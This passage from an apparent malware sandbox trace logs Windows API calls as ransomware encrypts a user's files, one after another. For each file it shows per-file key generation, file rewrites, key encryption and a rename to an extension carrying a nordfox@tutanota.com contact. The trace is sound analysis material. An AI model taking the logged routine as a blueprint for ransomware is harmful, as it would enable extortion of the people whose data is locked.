"c:\\users\\fd1hvy\\appdata\\roaming\\qkdnt8noj.mp3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\qKDnt8nOJ.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkdnt8noj.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e410c0 | out: hHeap=0x520000) returned 1 [0117.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d38 | out: hHeap=0x520000) returned 1 [0117.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8218 | out: hHeap=0x520000) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dce8 [0117.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0117.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0117.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0117.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0117.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q8l5y.xls", dwFileAttributes=0x80) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dc90 [0117.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0117.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0117.809] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q8l5y.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q8l5y.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.809] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32076) returned 1 [0117.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7d4c) returned 0x609bd8 [0117.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7d4c) returned 0x611930 [0117.809] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x7d4c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x7d4c, lpOverlapped=0x0) returned 1 [0117.810] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-32076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.810] WriteFile (in: hFile=0x6a8, lpBuffer=0x611930*, nNumberOfBytesToWrite=0x7d4c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7d4c, lpOverlapped=0x0) returned 1 [0117.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611930 | out: hHeap=0x520000) returned 1 [0117.810] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7d4c [0117.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.811] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.811] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.811] CloseHandle (hObject=0x6a8) returned 1 [0117.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0117.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0117.811] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q8l5y.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q8l5y.xls"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q8l5y.xls.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q8l5y.xls.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0117.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0117.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd40 | out: hHeap=0x520000) returned 1 [0117.846] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7a60 [0117.846] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0117.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0117.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q5uGyvVnf.odp", dwFileAttributes=0x80) returned 1 [0117.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e82e8 [0117.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41cf8 [0117.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82e8 | out: hHeap=0x520000) returned 1 [0117.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q5uGyvVnf.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q5ugyvvnf.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.847] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77772) returned 1 [0117.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12fcc) returned 0x609bd8 [0117.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12fcc) returned 0x2e41f30 [0117.848] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x12fcc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x12fcc, lpOverlapped=0x0) returned 1 [0117.849] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-77772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.849] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x12fcc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12fcc, lpOverlapped=0x0) returned 1 [0117.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.851] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12fcc [0117.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.852] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.853] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.853] CloseHandle (hObject=0x6a8) returned 1 [0117.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0117.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.853] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q5uGyvVnf.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q5ugyvvnf.odp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Q5uGyvVnf.odp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\q5ugyvvnf.odp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41cf8 | out: hHeap=0x520000) returned 1 [0117.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a60 | out: hHeap=0x520000) returned 1 [0117.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0117.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7e70 [0117.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\pg81BDYZElXb.wav", dwFileAttributes=0x80) returned 1 [0117.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e82e8 [0117.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0117.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82e8 | out: hHeap=0x520000) returned 1 [0117.865] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\pg81BDYZElXb.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pg81bdyzelxb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.865] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14391) returned 1 [0117.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3837) returned 0x609bd8 [0117.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3837) returned 0x60d418 [0117.865] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x3837, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3837, lpOverlapped=0x0) returned 1 [0117.866] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-14391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.866] WriteFile (in: hFile=0x6a8, lpBuffer=0x60d418*, nNumberOfBytesToWrite=0x3837, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3837, lpOverlapped=0x0) returned 1 [0117.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d418 | out: hHeap=0x520000) returned 1 [0117.867] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3837 [0117.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.867] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.867] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.867] CloseHandle (hObject=0x6a8) returned 1 [0117.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.868] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\pg81BDYZElXb.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pg81bdyzelxb.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\pg81BDYZElXb.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pg81bdyzelxb.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0117.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e70 | out: hHeap=0x520000) returned 1 [0117.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e80e0 | out: hHeap=0x520000) returned 1 [0117.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7d38 [0117.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.873] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\OSIoVoN9.doc", dwFileAttributes=0x80) returned 1 [0117.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7da0 [0117.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41a18 [0117.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da0 | out: hHeap=0x520000) returned 1 [0117.874] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\OSIoVoN9.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osiovon9.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.874] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101254) returned 1 [0117.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18b86) returned 0x2e41f30 [0117.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18b86) returned 0x2e5aac0 [0117.875] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x18b86, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x18b86, lpOverlapped=0x0) returned 1 [0117.884] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-101254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.884] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e5aac0*, nNumberOfBytesToWrite=0x18b86, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e5aac0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18b86, lpOverlapped=0x0) returned 1 [0117.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e5aac0 | out: hHeap=0x520000) returned 1 [0117.886] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18b86 [0117.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.888] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.888] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.888] CloseHandle (hObject=0x6a8) returned 1 [0117.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.888] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\OSIoVoN9.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osiovon9.doc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\OSIoVoN9.doc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osiovon9.doc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41a18 | out: hHeap=0x520000) returned 1 [0117.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d38 | out: hHeap=0x520000) returned 1 [0117.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8280 | out: hHeap=0x520000) returned 1 [0117.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0117.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oKkcll n BcmUUI e.wav", dwFileAttributes=0x80) returned 1 [0117.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0117.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0117.901] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oKkcll n BcmUUI e.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\okkcll n bcmuui e.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.902] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19915) returned 1 [0117.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4dcb) returned 0x609bd8 [0117.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4dcb) returned 0x60e9b0 [0117.902] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x4dcb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4dcb, lpOverlapped=0x0) returned 1 [0117.903] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-19915, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.903] WriteFile (in: hFile=0x6a8, lpBuffer=0x60e9b0*, nNumberOfBytesToWrite=0x4dcb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e9b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4dcb, lpOverlapped=0x0) returned 1 [0117.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60e9b0 | out: hHeap=0x520000) returned 1 [0117.904] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4dcb [0117.904] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.904] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.904] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.905] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.905] CloseHandle (hObject=0x6a8) returned 1 [0117.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.905] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oKkcll n BcmUUI e.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\okkcll n bcmuui e.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oKkcll n BcmUUI e.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\okkcll n bcmuui e.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0117.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0117.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8690 [0117.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0117.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.908] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0117.908] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\o8E6mZSi5.m4a", dwFileAttributes=0x80) returned 1 [0117.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e85c0 [0117.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41b88 [0117.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e85c0 | out: hHeap=0x520000) returned 1 [0117.908] CreateFileW 